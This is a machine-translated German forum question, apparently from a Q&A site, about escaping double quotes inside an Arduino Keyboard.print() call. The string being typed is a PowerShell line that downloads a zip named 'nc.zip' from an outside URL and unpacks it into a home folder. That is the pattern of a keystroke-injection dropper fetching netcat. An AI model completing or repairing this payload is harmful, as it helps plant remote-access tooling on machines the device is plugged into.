Ich versuche, mehrere Anführungszeichen in einer Keyboard.print()
Funktion zu drucken, aber wenn ich versuche, das Zeichen mit \ at $output =\"$HOME\Misc\nc.zip\""
zu entkommen und die Zeichenfolge wird nicht von der ID erkannt. Normalerweise, wenn die ID weiß, dass es eine Zeichenkette ist, hebt sie den Text in Blau hervor, macht das nicht für $ output und after $ output, wie kann ich die ide erkennen, jedes maskierte Zeichen als eine Zeichenkette zu erkennen, die nur die Hälfte erkennt.Was ist die String-Grenze mit dem Arduino-IDE?
Keyboard.print("\"cd $HOME\""; $folder=mkdir \"Misc\""; $folder; $url=\"https://test.org/cc.zip\""; $output =\"$HOME\Misc\nc.zip\""; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\Misc\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\Misc\").CopyHere($item)}");
Soll das wirklich C sein? Auch ohne zu wissen, was es ist, sieht es aus wie ein fehlendes ')' in der Nähe des Starts. Oder ist es eins zu viele '' 'nach HOME? Ohne zu wissen, was Sie versuchen zu drucken, ist es schwer zu sagen! – John3136
nicht was ist in der Zeichenfolge aber die Keyboard.print() ja – Katz
Entschuldigung Ich habe den Code, den es hat Ich versuche, eine Powershell-Zeile zu drucken, aber ich glaube nicht, dass das wichtig ist, weil ich es als String ausgeben möchte, und ich möchte auch, dass die doppelten Anführungszeichen eingeschlossen werden, wenn ich diese Zeile drucke. Ich habe gelesen und einige empfehlen, \ "\" "zu verwenden, um Anführungszeichen zu drucken, aber es funktioniert nicht @ John3136 – Katz